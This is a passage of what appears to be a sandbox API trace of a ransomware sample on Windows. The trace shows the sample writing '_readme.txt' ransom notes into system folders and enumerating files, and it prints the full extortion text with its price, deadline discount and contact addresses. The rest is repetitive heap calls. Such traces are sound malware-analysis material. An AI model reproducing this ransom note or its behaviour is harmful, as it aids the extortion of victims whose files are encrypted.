Size=0x810) returned 0x7b14108 [0111.409] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.409] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.409] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0111.409] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.409] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.409] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0111.410] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.410] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.410] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.410] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.410] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.410] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.411] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.411] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.411] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.411] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.411] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.411] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.414] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.416] RtlAllocateHeap 